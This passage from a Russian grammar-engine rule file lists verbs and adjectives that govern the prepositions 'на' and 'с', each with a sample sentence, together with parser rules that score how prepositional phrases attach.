rus_verbs:показывать{}, // Стрелка компаса всегда показывает на север.
rus_verbs:сохранить{}, // Сохраните это на память обо мне.
rus_verbs:уезжать{}, // Сейчас все студенты уезжают на экскурсию.
rus_verbs:лететь{}, // Самолёт летит на север.
rus_verbs:бить{}, // Ружьё бьёт на пятьсот метров.
// rus_verbs:прийтись{}, // Пятое число пришлось на субботу.
rus_verbs:вынести{}, // Они вынесли из лодки на берег все вещи.
rus_verbs:смотреть{}, // Она смотрит на нас из окна.
rus_verbs:отдать{}, // Она отдала мне деньги на сохранение.
rus_verbs:налюбоваться{}, // Не могу налюбоваться на картину.
rus_verbs:любоваться{}, // гости любовались на картину
rus_verbs:попробовать{}, // Дайте мне попробовать на ощупь.
прилагательное:действительный{}, // Прививка оспы действительна только на три года.
rus_verbs:спуститься{}, // На город спустился смог
прилагательное:нечистый{}, // Он нечист на руку.
прилагательное:неспособный{}, // Он неспособен на такую низость.
прилагательное:злой{}, // кот очень зол на хозяина
rus_verbs:пойти{}, // Девочка не пошла на урок физультуры
rus_verbs:прибывать{}, // мой поезд прибывает на первый путь
rus_verbs:застегиваться{}, // пальто застегивается на двадцать одну пуговицу
rus_verbs:идти{}, // Дело идёт на лад.
rus_verbs:лазить{}, // Он лазил на чердак.
rus_verbs:поддаваться{}, // Он легко поддаётся на уговоры.
// rus_verbs:действовать{}, // действующий на нервы
rus_verbs:выходить{}, // Балкон выходит на площадь.
rus_verbs:работать{}, // Время работает на нас.
глагол:написать{aux stress="напис^ать"}, // Он написал музыку на слова Пушкина.
rus_verbs:бросить{}, // Они бросили все силы на строительство.
// глагол:разрезать{aux stress="разр^езать"}, глагол:разрезать{aux stress="разрез^ать"}, // Она разрезала пирог на шесть кусков.
rus_verbs:броситься{}, // Она радостно бросилась мне на шею.
rus_verbs:оправдать{}, // Она оправдала неявку на занятия болезнью.
rus_verbs:ответить{}, // Она не ответила на мой поклон.
rus_verbs:нашивать{}, // Она нашивала заплату на локоть.
rus_verbs:молиться{}, // Она молится на свою мать.
rus_verbs:запереть{}, // Она заперла дверь на замок.
rus_verbs:заявить{}, // Она заявила свои права на наследство.
rus_verbs:уйти{}, // Все деньги ушли на путешествие.
rus_verbs:вступить{}, // Водолаз вступил на берег.
rus_verbs:сойти{}, // Ночь сошла на землю.
rus_verbs:приехать{}, // Мы приехали на вокзал слишком рано.
rus_verbs:рыдать{}, // Не рыдай так безумно над ним.
rus_verbs:подписать{}, // Не забудьте подписать меня на газету.
rus_verbs:держать{}, // Наш пароход держал курс прямо на север.
rus_verbs:свезти{}, // На выставку свезли экспонаты со всего мира.
rus_verbs:ехать{}, // Мы сейчас едем на завод.
rus_verbs:выбросить{}, // Волнами лодку выбросило на берег.
ГЛ_ИНФ(сесть), // сесть на снег
ГЛ_ИНФ(записаться),
ГЛ_ИНФ(положить) // положи книгу на стол
}
#endregion VerbList
// Чтобы разрешить связывание в паттернах типа: залить на youtube
fact гл_предл
{
if context { Гл_НА_Вин предлог:на{} @regex("[a-z]+[0-9]*") }
then return true
}
fact гл_предл
{
if context { глагол:купить{} предлог:на{} 'деньги'{падеж:вин} }
then return true
}
fact гл_предл
{
if context { Гл_НА_Вин предлог:на{} *:*{ падеж:вин } }
then return true
}
// смещаться на несколько миллиметров
fact гл_предл
{
if context { Гл_НА_Вин предлог:на{} наречие:*{} }
then return true
}
// партия взяла на себя нереалистичные обязательства
fact гл_предл
{
if context { глагол:взять{} предлог:на{} 'себя'{падеж:вин} }
then return true
}
#endregion ВИНИТЕЛЬНЫЙ
// Все остальные варианты с предлогом 'НА' по умолчанию запрещаем.
fact гл_предл
{
if context { * предлог:на{} *:*{ падеж:предл } }
then return false,-3
}
fact гл_предл
{
if context { * предлог:на{} *:*{ падеж:мест } }
then return false,-3
}
fact гл_предл
{
if context { * предлог:на{} *:*{ падеж:вин } }
then return false,-4
}
// Этот вариант нужен для обработки конструкций с числительными:
// Президентские выборы разделили Венесуэлу на два непримиримых лагеря
fact гл_предл
{
if context { * предлог:на{} *:*{ падеж:род } }
then return false,-4
}
// Продавать на eBay
fact гл_предл
{
if context { * предлог:на{} * }
then return false,-6
}
#endregion Предлог_НА
#region Предлог_С
// ------------- ПРЕДЛОГ 'С' -----------------
// У этого предлога предпочтительная семантика привязывает его обычно к существительному.
// Поэтому запрещаем по умолчанию его привязку к глаголам, а разрешенные глаголы перечислим.
#region ТВОРИТЕЛЬНЫЙ
wordentry_set Гл_С_Твор={
rus_verbs:помогать{}, // будет готов помогать врачам в онкологическом центре с постановкой верных диагнозов
rus_verbs:перепихнуться{}, // неужели ты не хочешь со мной перепихнуться
rus_verbs:забраться{},
rus_verbs:ДРАТЬСЯ{}, // Мои же собственные ратники забросали бы меня гнилой капустой, и мне пришлось бы драться с каждым рыцарем в стране, чтобы доказать свою смелость. (ДРАТЬСЯ/БИТЬСЯ/ПОДРАТЬСЯ)
rus_verbs:БИТЬСЯ{}, //
rus_verbs:ПОДРАТЬСЯ{}, //
прилагательное:СХОЖИЙ{}, // Не был ли он схожим с одним из живых языков Земли (СХОЖИЙ)
rus_verbs:ВСТУПИТЬ{}, // Он намеревался вступить с Вольфом в ближний бой. (ВСТУПИТЬ)
rus_verbs:КОРРЕЛИРОВАТЬ{}, // Это коррелирует с традиционно сильными направлениями московской математической школы. (КОРРЕЛИРОВАТЬ)
rus_verbs:УВИДЕТЬСЯ{}, // Он проигнорирует истерические протесты жены и увидится сначала с доктором, а затем с психотерапевтом (УВИДЕТЬСЯ)
rus_verbs:ОЧНУТЬСЯ{}, // Когда он очнулся с болью в левой стороне черепа, у него возникло пугающее ощущение. (ОЧНУТЬСЯ)
прилагательное:сходный{}, // Мозг этих существ сходен по размерам с мозгом динозавра
rus_verbs:накрыться{}, // Было холодно, и он накрылся с головой одеялом.
rus_verbs:РАСПРЕДЕЛИТЬ{}, // Бюджет распределят с участием горожан (РАСПРЕДЕЛИТЬ)
rus_verbs:НАБРОСИТЬСЯ{}, // Пьяный водитель набросился с ножом на сотрудников ГИБДД (НАБРОСИТЬСЯ)
rus_verbs:БРОСИТЬСЯ{}, // она со смехом бросилась прочь (БРОСИТЬСЯ)
rus_verbs:КОНТАКТИРОВАТЬ{}, // Электронным магазинам стоит контактировать с клиентами (КОНТАКТИРОВАТЬ)
rus_verbs:ВИДЕТЬСЯ{}, // Тогда мы редко виделись друг с другом
rus_verbs:сесть{}, // сел в него с дорожной сумкой , наполненной наркотиками
rus_verbs:купить{}, // Мы купили с ним одну и ту же книгу
rus_verbs:ПРИМЕНЯТЬ{}, // Меры по стимулированию спроса в РФ следует применять с осторожностью (ПРИМЕНЯТЬ)
rus_verbs:УЙТИ{}, // ты мог бы уйти со мной (УЙТИ)
rus_verbs:ЖДАТЬ{}, // С нарастающим любопытством ждем результатов аудита золотых хранилищ европейских и американских центробанков (ЖДАТЬ)
rus_verbs:ГОСПИТАЛИЗИРОВАТЬ{}, // Мэра Твери, участвовавшего в спартакиаде, госпитализировали с инфарктом (ГОСПИТАЛИЗИРОВАТЬ)
rus_verbs:ЗАХЛОПНУТЬСЯ{}, // она захлопнулась со звоном (ЗАХЛОПНУТЬСЯ)
rus_verbs:ОТВЕРНУТЬСЯ{}, // она со вздохом отвернулась (ОТВЕРНУТЬСЯ)
rus_verbs:отправить{}, // вы можете отправить со мной человека
rus_verbs:выступать{}, // Градоначальник , выступая с обзором основных городских событий , поведал об этом депутатам
rus_verbs:ВЫЕЗЖАТЬ{}, // заключенные сами шьют куклы и иногда выезжают с представлениями в детский дом неподалеку (ВЫЕЗЖАТЬ С твор)
rus_verbs:ПОКОНЧИТЬ{}, // со всем этим покончено (ПОКОНЧИТЬ С)
rus_verbs:ПОБЕЖАТЬ{}, // Дмитрий побежал со всеми (ПОБЕЖАТЬ С)
прилагательное:несовместимый{}, // характер ранений был несовместим с жизнью (НЕСОВМЕСТИМЫЙ С)
rus_verbs:ПОСЕТИТЬ{}, // Его кабинет местные тележурналисты посетили со скрытой камерой (ПОСЕТИТЬ С)
rus_verbs:СЛОЖИТЬСЯ{}, // сами банки принимают меры по урегулированию сложившейся с вкладчиками ситуации (СЛОЖИТЬСЯ С)
rus_verbs:ЗАСТАТЬ{}, // Молодой человек убил пенсионера , застав его в постели с женой (ЗАСТАТЬ С)
rus_verbs:ОЗНАКАМЛИВАТЬСЯ{}, // при заполнении заявления владельцы судов ознакамливаются с режимом (ОЗНАКАМЛИВАТЬСЯ С)
rus_verbs:СООБРАЗОВЫВАТЬ{}, // И все свои задачи мы сообразовываем с этим пониманием (СООБРАЗОВЫВАТЬ С)
rus_verbs:СВЫКАТЬСЯ{},
rus_verbs:стаскиваться{},
rus_verbs:спиливаться{},
rus_verbs:КОНКУРИРОВАТЬ{}, // Бедные и менее развитые страны не могут конкурировать с этими субсидиями (КОНКУРИРОВАТЬ С)
rus_verbs:ВЫРВАТЬСЯ{}, // тот с трудом вырвался (ВЫРВАТЬСЯ С твор)
rus_verbs:СОБРАТЬСЯ{}, // нужно собраться с силами (СОБРАТЬСЯ С)
rus_verbs:УДАВАТЬСЯ{}, // удавалось это с трудом (УДАВАТЬСЯ С)
rus_verbs:РАСПАХНУТЬСЯ{}, // дверь с треском распахнулась (РАСПАХНУТЬСЯ С)
rus_verbs:НАБЛЮДАТЬ{}, // Олег наблюдал с любопытством (НАБЛЮДАТЬ С)
rus_verbs:ПОТЯНУТЬ{}, // затем с силой потянул (ПОТЯНУТЬ С)
rus_verbs:КИВНУТЬ{}, // Питер с трудом кивнул (КИВНУТЬ С)
rus_verbs:СГЛОТНУТЬ{}, // Борис с трудом сглотнул (СГЛОТНУТЬ С)
rus_verbs:ЗАБРАТЬ{}, // забрать его с собой (ЗАБРАТЬ С)
rus_verbs:ОТКРЫТЬСЯ{}, // дверь с шипением открылась (ОТКРЫТЬСЯ С)
rus_verbs:ОТОРВАТЬ{}, // с усилием оторвал взгляд (ОТОРВАТЬ С твор)
rus_verbs:ОГЛЯДЕТЬСЯ{}, // Рома с любопытством огляделся (ОГЛЯДЕТЬСЯ С)
rus_verbs:ФЫРКНУТЬ{}, // турок фыркнул с отвращением (ФЫРКНУТЬ С)
rus_verbs:согласиться{}, // с этим согласились все (согласиться с)
rus_verbs:ПОСЫПАТЬСЯ{}, // с грохотом посыпались камни (ПОСЫПАТЬСЯ С твор)
rus_verbs:ВЗДОХНУТЬ{}, // Алиса вздохнула с облегчением (ВЗДОХНУТЬ С)
rus_verbs:ОБЕРНУТЬСЯ{}, // та с удивлением обернулась (ОБЕРНУТЬСЯ С)
rus_verbs:ХМЫКНУТЬ{}, // Алексей хмыкнул с сомнением (ХМЫКНУТЬ С твор)
rus_verbs:ВЫЕХАТЬ{}, // они выехали с рассветом (ВЫЕХАТЬ С твор)
rus_verbs:ВЫДОХНУТЬ{}, // Владимир выдохнул с облегчением (ВЫДОХНУТЬ С)
rus_verbs:УХМЫЛЬНУТЬСЯ{}, // Кеша ухмыльнулся с сомнением (УХМЫЛЬНУТЬСЯ С)
rus_verbs:НЕСТИСЬ{}, // тот несся с криком (НЕСТИСЬ С твор)
rus_verbs:ПАДАТЬ{}, // падают с глухим стуком (ПАДАТЬ С твор)
rus_verbs:ТВОРИТЬСЯ{}, // странное творилось с глазами (ТВОРИТЬСЯ С твор)
rus_verbs:УХОДИТЬ{}, // с ними уходили эльфы (УХОДИТЬ С твор)
rus_verbs:СКАКАТЬ{}, // скакали тут с топорами (СКАКАТЬ С твор)
rus_verbs:ЕСТЬ{}, // здесь едят с зеленью (ЕСТЬ С твор)
rus_verbs:ПОЯВИТЬСЯ{}, // с рассветом появились птицы (ПОЯВИТЬСЯ С твор)
rus_verbs:ВСКОЧИТЬ{}, // Олег вскочил с готовностью (ВСКОЧИТЬ С твор)
rus_verbs:БЫТЬ{}, // хочу быть с тобой (БЫТЬ С твор)
rus_verbs:ПОКАЧАТЬ{}, // с сомнением покачал головой. (ПОКАЧАТЬ С СОМНЕНИЕМ)
rus_verbs:ВЫРУГАТЬСЯ{}, // капитан с чувством выругался (ВЫРУГАТЬСЯ С ЧУВСТВОМ)
rus_verbs:ОТКРЫТЬ{}, // с трудом открыл глаза (ОТКРЫТЬ С ТРУДОМ, таких много)
rus_verbs:ПОЛУЧИТЬСЯ{}, // забавно получилось с ним (ПОЛУЧИТЬСЯ С)
rus_verbs:ВЫБЕЖАТЬ{}, // старый выбежал с копьем (ВЫБЕЖАТЬ С)
rus_verbs:ГОТОВИТЬСЯ{}, // Большинство компотов готовится с использованием сахара (ГОТОВИТЬСЯ С)
rus_verbs:ПОДИСКУТИРОВАТЬ{}, // я бы подискутировал с Андрюхой (ПОДИСКУТИРОВАТЬ С)
rus_verbs:ТУСИТЬ{}, // кто тусил со Светкой (ТУСИТЬ С)
rus_verbs:БЕЖАТЬ{}, // куда она бежит со всеми? (БЕЖАТЬ С твор)
rus_verbs:ГОРЕТЬ{}, // ты горел со своим кораблем? (ГОРЕТЬ С)
rus_verbs:ВЫПИТЬ{}, // хотите выпить со мной чаю? (ВЫПИТЬ С)
rus_verbs:МЕНЯТЬСЯ{}, // Я меняюсь с товарищем книгами. (МЕНЯТЬСЯ С)
rus_verbs:ВАЛЯТЬСЯ{}, // Он уже неделю валяется с гриппом. (ВАЛЯТЬСЯ С)
rus_verbs:ПИТЬ{}, // вы даже будете пить со мной пиво. (ПИТЬ С)
инфинитив:кристаллизоваться{ вид:соверш }, // После этого пересыщенный раствор кристаллизуется с образованием кристаллов сахара.
инфинитив:кристаллизоваться{ вид:несоверш },
глагол:кристаллизоваться{ вид:соверш },
глагол:кристаллизоваться{ вид:несоверш },
rus_verbs:ПООБЩАТЬСЯ{}, // пообщайся с Борисом (ПООБЩАТЬСЯ С)
rus_verbs:ОБМЕНЯТЬСЯ{}, // Миша обменялся с Петей марками (ОБМЕНЯТЬСЯ С)
rus_verbs:ПРОХОДИТЬ{}, // мы с тобой сегодня весь день проходили с вещами. (ПРОХОДИТЬ С)
rus_verbs:ВСТАТЬ{}, // Он занимался всю ночь и встал с головной болью. (ВСТАТЬ С)
rus_verbs:ПОВРЕМЕНИТЬ{}, // МВФ рекомендует Ирландии повременить с мерами экономии (ПОВРЕМЕНИТЬ С)
rus_verbs:ГЛЯДЕТЬ{}, // Её глаза глядели с мягкой грустью. (ГЛЯДЕТЬ С + твор)
rus_verbs:ВЫСКОЧИТЬ{}, // Зачем ты выскочил со своим замечанием? (ВЫСКОЧИТЬ С)
rus_verbs:НЕСТИ{}, // плот несло со страшной силой. (НЕСТИ С)
rus_verbs:приближаться{}, // стена приближалась со страшной быстротой. (приближаться с)
rus_verbs:заниматься{}, // После уроков я занимался с отстающими учениками. (заниматься с)
rus_verbs:разработать{}, // Этот лекарственный препарат разработан с использованием рецептов традиционной китайской медицины. (разработать с)
rus_verbs:вестись{}, // Разработка месторождения ведется с использованием большого количества техники. (вестись с)
rus_verbs:конфликтовать{}, // Маша конфликтует с Петей (конфликтовать с)
rus_verbs:мешать{}, // мешать воду с мукой (мешать с)
rus_verbs:иметь{}, // мне уже приходилось несколько раз иметь с ним дело.
rus_verbs:синхронизировать{}, // синхронизировать с эталонным генератором
rus_verbs:засинхронизировать{}, // засинхронизировать с эталонным генератором
rus_verbs:синхронизироваться{}, // синхронизироваться с эталонным генератором
rus_verbs:засинхронизироваться{}, // засинхронизироваться с эталонным генератором
rus_verbs:стирать{}, // стирать с мылом рубашку в тазу
rus_verbs:прыгать{}, // парашютист прыгает с парашютом
rus_verbs:выступить{}, // Он выступил с приветствием съезду.
rus_verbs:ходить{}, // В чужой монастырь со своим уставом не ходят.
rus_verbs:отозваться{}, // Он отозвался об этой книге с большой похвалой.
rus_verbs:отзываться{}, // Он отзывается об этой книге с большой похвалой.
rus_verbs:вставать{}, // он встаёт с зарёй
rus_verbs:мирить{}, // Его ум мирил всех с его дурным характером.
rus_verbs:продолжаться{}, // стрельба тем временем продолжалась с прежней точностью.
rus_verbs:договориться{}, // мы договоримся с вами
rus_verbs:побыть{}, // он хотел побыть с тобой
rus_verbs:расти{}, // Мировые производственные мощности растут с беспрецедентной скоростью
rus_verbs:вязаться{}, // вязаться с фактами
rus_verbs:отнестись{}, // отнестись к животным с сочуствием
rus_verbs:относиться{}, // относиться с пониманием
rus_verbs:пойти{}, // Спектакль пойдёт с участием известных артистов.
rus_verbs:бракосочетаться{}, // Потомственный кузнец бракосочетался с разорившейся графиней
rus_verbs:гулять{}, // бабушка гуляет с внуком
rus_verbs:разбираться{}, // разбираться с задачей
rus_verbs:сверить{}, // Данные были сверены с эталонными значениями
rus_verbs:делать{}, // Что делать со старым телефоном
rus_verbs:осматривать{}, // осматривать с удивлением
rus_verbs:обсудить{}, // обсудить с приятелем прохождение уровня в новой игре
rus_verbs:попрощаться{}, // попрощаться с талантливым актером
rus_verbs:задремать{}, // задремать с кружкой чая в руке
rus_verbs:связать{}, // связать катастрофу с действиями конкурентов
rus_verbs:носиться{}, // носиться с безумной идеей
rus_verbs:кончать{}, // кончать с собой
rus_verbs:обмениваться{}, // обмениваться с собеседниками
rus_verbs:переговариваться{}, // переговариваться с маяком
rus_verbs:общаться{}, // общаться с полицией
rus_verbs:завершить{}, // завершить с ошибкой
rus_verbs:обняться{}, // обняться с подругой
rus_verbs:сливаться{}, // сливаться с фоном
rus_verbs:смешаться{}, // смешаться с толпой
rus_verbs:договариваться{}, // договариваться с потерпевшим
rus_verbs:обедать{}, // обедать с гостями
rus_verbs:сообщаться{}, // сообщаться с подземной рекой
rus_verbs:сталкиваться{}, // сталкиваться со стаей птиц
rus_verbs:читаться{}, // читаться с трудом
rus_verbs:смириться{}, // смириться с утратой
rus_verbs:разделить{}, // разделить с другими ответственность
rus_verbs:роднить{}, // роднить с медведем
rus_verbs:медлить{}, // медлить с ответом
rus_verbs:скрестить{}, // скрестить с ужом
rus_verbs:покоиться{}, // покоиться с миром
rus_verbs:делиться{}, // делиться с друзьями
rus_verbs:познакомить{}, // познакомить с Олей
rus_verbs:порвать{}, // порвать с Олей
rus_verbs:завязать{}, // завязать с Олей знакомство
rus_verbs:суетиться{}, // суетиться с изданием романа
rus_verbs:соединиться{}, // соединиться с сервером
rus_verbs:справляться{}, // справляться с нуждой
rus_verbs:замешкаться{}, // замешкаться с ответом
rus_verbs:поссориться{}, // поссориться с подругой
rus_verbs:ссориться{}, // ссориться с друзьями
rus_verbs:торопить{}, // торопить с решением
rus_verbs:поздравить{}, // поздравить с победой
rus_verbs:проститься{}, // проститься с человеком
rus_verbs:поработать{}, // поработать с деревом
rus_verbs:приключиться{}, // приключиться с Колей
rus_verbs:сговориться{}, // сговориться с Ваней
rus_verbs:отъехать{}, // отъехать с ревом
rus_verbs:объединять{}, // объединять с другой кампанией
rus_verbs:употребить{}, // употребить с молоком
rus_verbs:перепутать{}, // перепутать с другой книгой
rus_verbs:запоздать{}, // запоздать с ответом
rus_verbs:подружиться{}, // подружиться с другими детьми
rus_verbs:дружить{}, // дружить с Сережей
rus_verbs:поравняться{}, // поравняться с финишной чертой
rus_verbs:ужинать{}, // ужинать с гостями
rus_verbs:расставаться{}, // расставаться с приятелями
rus_verbs:завтракать{}, // завтракать с семьей
rus_verbs:объединиться{}, // объединиться с соседями
rus_verbs:сменяться{}, // сменяться с напарником
rus_verbs:соединить{}, // соединить с сетью
rus_verbs:разговориться{}, // разговориться с охранником
rus_verbs:преподнести{}, // преподнести с помпой
rus_verbs:напечатать{}, // напечатать с картинками
rus_verbs:соединять{}, // соединять с сетью
rus_verbs:расправиться{}, // расправиться с беззащитным человеком
rus_verbs:распрощаться{}, // распрощаться с деньгами
rus_verbs:сравнить{}, // сравнить с конкурентами
rus_verbs:ознакомиться{}, // ознакомиться с выступлением
инфинитив:сочетаться{ вид:несоверш }, глагол:сочетаться{ вид:несоверш }, // сочетаться с сумочкой
деепричастие:сочетаясь{}, прилагательное:сочетающийся{}, прилагательное:сочетавшийся{},
rus_verbs:изнасиловать{}, // изнасиловать с применением чрезвычайного насилия
rus_verbs:прощаться{}, // прощаться с боевым товарищем
rus_verbs:сравнивать{}, // сравнивать с конкурентами
rus_verbs:складывать{}, // складывать с весом упаковки
rus_verbs:повестись{}, // повестись с ворами
rus_verbs:столкнуть{}, // столкнуть с отбойником
rus_verbs:переглядываться{}, // переглядываться с соседом
rus_verbs:поторопить{}, // поторопить с откликом
rus_verbs:развлекаться{}, // развлекаться с подружками
rus_verbs:заговаривать{}, // заговаривать с незнакомцами
rus_verbs:поцеловаться{}, // поцеловаться с первой девушкой
инфинитив:согласоваться{ вид:несоверш }, глагол:согласоваться{ вид:несоверш }, // согласоваться с подлежащим
деепричастие:согласуясь{}, прилагательное:согласующийся{},
rus_verbs:совпасть{}, // совпасть с оригиналом
rus_verbs:соединяться{}, // соединяться с куратором
rus_verbs:повстречаться{}, // повстречаться с героями
rus_verbs:поужинать{}, // поужинать с родителями
rus_verbs:развестись{}, // развестись с первым мужем
rus_verbs:переговорить{}, // переговорить с коллегами
rus_verbs:сцепиться{}, // сцепиться с бродячей собакой
rus_verbs:сожрать{}, // сожрать с потрохами
rus_verbs:побеседовать{}, // побеседовать со шпаной
rus_verbs:поиграть{}, // поиграть с котятами
rus_verbs:сцепить{}, // сцепить с тягачом
rus_verbs:помириться{}, // помириться с подружкой
rus_verbs:связываться{}, // связываться с бандитами
rus_verbs:совещаться{}, // совещаться с мастерами
rus_verbs:обрушиваться{}, // обрушиваться с беспощадной критикой
rus_verbs:переплестись{}, // переплестись с кустами
rus_verbs:мутить{}, // мутить с одногрупницами
rus_verbs:приглядываться{}, // приглядываться с интересом
rus_verbs:сблизиться{}, // сблизиться с врагами
rus_verbs:перешептываться{}, // перешептываться с симпатичной соседкой
rus_verbs:растереть{}, // растереть с солью
rus_verbs:смешиваться{}, // смешиваться с известью
rus_verbs:соприкоснуться{}, // соприкоснуться с тайной
rus_verbs:ладить{}, // ладить с родственниками
rus_verbs:сотрудничать{}, // сотрудничать с органами дознания
rus_verbs:съехаться{}, // съехаться с родственниками
rus_verbs:перекинуться{}, // перекинуться с коллегами парой слов
rus_verbs:советоваться{}, // советоваться с отчимом
rus_verbs:сравниться{}, // сравниться с лучшими
rus_verbs:знакомиться{}, // знакомиться с абитуриентами
rus_verbs:нырять{}, // нырять с аквалангом
rus_verbs:забавляться{}, // забавляться с куклой
rus_verbs:перекликаться{}, // перекликаться с другой статьей
rus_verbs:тренироваться{}, // тренироваться с партнершей
rus_verbs:поспорить{}, // поспорить с казночеем
инфинитив:сладить{ вид:соверш }, глагол:сладить{ вид:соверш }, // сладить с бычком
деепричастие:сладив{}, прилагательное:сладивший{ вид:соверш },
rus_verbs:примириться{}, // примириться с утратой
rus_verbs:раскланяться{}, // раскланяться с фрейлинами
rus_verbs:слечь{}, // слечь с ангиной
rus_verbs:соприкасаться{}, // соприкасаться со стеной
rus_verbs:смешать{}, // смешать с грязью
rus_verbs:пересекаться{}, // пересекаться с трассой
rus_verbs:путать{}, // путать с государственной шерстью
rus_verbs:поболтать{}, // поболтать с ученицами
rus_verbs:здороваться{}, // здороваться с профессором
rus_verbs:просчитаться{}, // просчитаться с покупкой
rus_verbs:сторожить{}, // сторожить с собакой
rus_verbs:обыскивать{}, // обыскивать с собаками
rus_verbs:переплетаться{}, // переплетаться с другой веткой
rus_verbs:обниматься{}, // обниматься с Ксюшей
rus_verbs:объединяться{}, // объединяться с конкурентами
rus_verbs:погорячиться{}, // погорячиться с покупкой
rus_verbs:мыться{}, // мыться с мылом
rus_verbs:свериться{}, // свериться с эталоном
rus_verbs:разделаться{}, // разделаться с кем-то
rus_verbs:чередоваться{}, // чередоваться с партнером
rus_verbs:налететь{}, // налететь с соратниками
rus_verbs:поспать{}, // поспать с включенным светом
rus_verbs:управиться{}, // управиться с собакой
rus_verbs:согрешить{}, // согрешить с замужней
rus_verbs:определиться{}, // определиться с победителем
rus_verbs:перемешаться{}, // перемешаться с гранулами
rus_verbs:затрудняться{}, // затрудняться с ответом
rus_verbs:обождать{}, // обождать со стартом
rus_verbs:фыркать{}, // фыркать с презрением
rus_verbs:засидеться{}, // засидеться с приятелем
rus_verbs:крепнуть{}, // крепнуть с годами
rus_verbs:пировать{}, // пировать с дружиной
rus_verbs:щебетать{}, // щебетать с сестричками
rus_verbs:маяться{}, // маяться с кашлем
rus_verbs:сближать{}, // сближать с центральным светилом
rus_verbs:меркнуть{}, // меркнуть с возрастом
rus_verbs:заспорить{}, // заспорить с оппонентами
rus_verbs:граничить{}, // граничить с Ливаном
rus_verbs:перестараться{}, // перестараться со стимуляторами
rus_verbs:объединить{}, // объединить с филиалом
rus_verbs:свыкнуться{}, // свыкнуться с утратой
rus_verbs:посоветоваться{}, // посоветоваться с адвокатами
rus_verbs:напутать{}, // напутать с ведомостями
rus_verbs:нагрянуть{}, // нагрянуть с обыском
rus_verbs:посовещаться{}, // посовещаться с судьей
rus_verbs:провернуть{}, // провернуть с друганом
rus_verbs:разделяться{}, // разделяться с сотрапезниками
rus_verbs:пересечься{}, // пересечься с второй колонной
rus_verbs:опережать{}, // опережать с большим запасом
rus_verbs:перепутаться{}, // перепутаться с другой линией
rus_verbs:соотноситься{}, // соотноситься с затратами
rus_verbs:смешивать{}, // смешивать с золой
rus_verbs:свидеться{}, // свидеться с тобой
rus_verbs:переспать{}, // переспать с графиней
rus_verbs:поладить{}, // поладить с соседями
rus_verbs:протащить{}, // протащить с собой
rus_verbs:разминуться{}, // разминуться с встречным потоком
rus_verbs:перемежаться{}, // перемежаться с успехами
rus_verbs:рассчитаться{}, // рассчитаться с кредиторами
rus_verbs:срастись{}, // срастись с телом
rus_verbs:знакомить{}, // знакомить с родителями
rus_verbs:поругаться{}, // поругаться с родителями
rus_verbs:совладать{}, // совладать с чувствами
rus_verbs:обручить{}, // обручить с богатой невестой
rus_verbs:сближаться{}, // сближаться с вражеским эсминцем
rus_verbs:замутить{}, // замутить с Ксюшей
rus_verbs:повозиться{}, // повозиться с настройкой
rus_verbs:торговаться{}, // торговаться с продавцами
rus_verbs:уединиться{}, // уединиться с девчонкой
rus_verbs:переборщить{}, // переборщить с добавкой
rus_verbs:ознакомить{}, // ознакомить с пожеланиями
rus_verbs:прочесывать{}, // прочесывать с собаками
rus_verbs:переписываться{}, // переписываться с корреспондентами
rus_verbs:повздорить{}, // повздорить с сержантом
rus_verbs:разлучить{}, // разлучить с семьей
rus_verbs:соседствовать{}, // соседствовать с цыганами
rus_verbs:застукать{}, // застукать с проститутками
rus_verbs:напуститься{}, // напуститься с кулаками
rus_verbs:сдружиться{}, // сдружиться с ребятами
rus_verbs:соперничать{}, // соперничать с параллельным классом
rus_verbs:прочесать{}, // прочесать с собаками
rus_verbs:кокетничать{}, // кокетничать с гимназистками
rus_verbs:мириться{}, // мириться с убытками
rus_verbs:оплошать{}, // оплошать с билетами
rus_verbs:отождествлять{}, // отождествлять с литературным героем
rus_verbs:хитрить{}, // хитрить с зарплатой
rus_verbs:провозиться{}, // провозиться с задачкой
rus_verbs:коротать{}, // коротать с друзьями
rus_verbs:соревноваться{}, // соревноваться с машиной
rus_verbs:уживаться{}, // уживаться с местными жителями
rus_verbs:отождествляться{}, // отождествляться с литературным героем
rus_verbs:сопоставить{}, // сопоставить с эталоном
rus_verbs:пьянствовать{}, // пьянствовать с друзьями
rus_verbs:залетать{}, // залетать с паленой водкой
rus_verbs:гастролировать{}, // гастролировать с новой цирковой программой
rus_verbs:запаздывать{}, // запаздывать с кормлением
rus_verbs:таскаться{}, // таскаться с сумками
rus_verbs:контрастировать{}, // контрастировать с туфлями
rus_verbs:сшибиться{}, // сшибиться с форвардом
rus_verbs:состязаться{}, // состязаться с лучшей командой
rus_verbs:затрудниться{}, // затрудниться с объяснением
rus_verbs:объясниться{}, // объясниться с пострадавшими
rus_verbs:разводиться{}, // разводиться со сварливой женой
rus_verbs:препираться{}, // препираться с адвокатами
rus_verbs:сосуществовать{}, // сосуществовать с крупными хищниками
rus_verbs:свестись{}, // свестись с нулевым счетом
rus_verbs:обговорить{}, // обговорить с директором
rus_verbs:обвенчаться{}, // обвенчаться с ведьмой
rus_verbs:экспериментировать{}, // экспериментировать с генами
rus_verbs:сверять{}, // сверять с таблицей
rus_verbs:сверяться{}, // свериться с таблицей
rus_verbs:сблизить{}, // сблизить с точкой
rus_verbs:гармонировать{}, // гармонировать с обоями
rus_verbs:перемешивать{}, // перемешивать с молоком
rus_verbs:трепаться{}, // трепаться с сослуживцами
rus_verbs:перемигиваться{}, // перемигиваться с соседкой
rus_verbs:разоткровенничаться{}, // разоткровенничаться с незнакомцем
rus_verbs:распить{}, // распить с собутыльниками
rus_verbs:скрестись{}, // скрестись с дикой лошадью
rus_verbs:передраться{}, // передраться с дворовыми собаками
rus_verbs:умыть{}, // умыть с мылом
rus_verbs:грызться{}, // грызться с соседями
rus_verbs:переругиваться{}, // переругиваться с соседями
rus_verbs:доиграться{}, // доиграться со спичками
rus_verbs:заладиться{}, // заладиться с подругой
rus_verbs:скрещиваться{}, // скрещиваться с дикими видами
rus_verbs:повидаться{}, // повидаться с дедушкой
rus_verbs:повоевать{}, // повоевать с орками
rus_verbs:сразиться{}, // сразиться с лучшим рыцарем
rus_verbs:кипятить{}, // кипятить с отбеливателем
rus_verbs:усердствовать{}, // усердствовать с наказанием
rus_verbs:схлестнуться{}, // схлестнуться с лучшим боксером
rus_verbs:пошептаться{}, // пошептаться с судьями
rus_verbs:сравняться{}, // сравняться с лучшими экземплярами
rus_verbs:церемониться{}, // церемониться с пьяницами
rus_verbs:консультироваться{}, // консультироваться со специалистами
rus_verbs:переусердствовать{}, // переусердствовать с наказанием
rus_verbs:проноситься{}, // проноситься с собой
rus_verbs:перемешать{}, // перемешать с гипсом
rus_verbs:темнить{}, // темнить с долгами
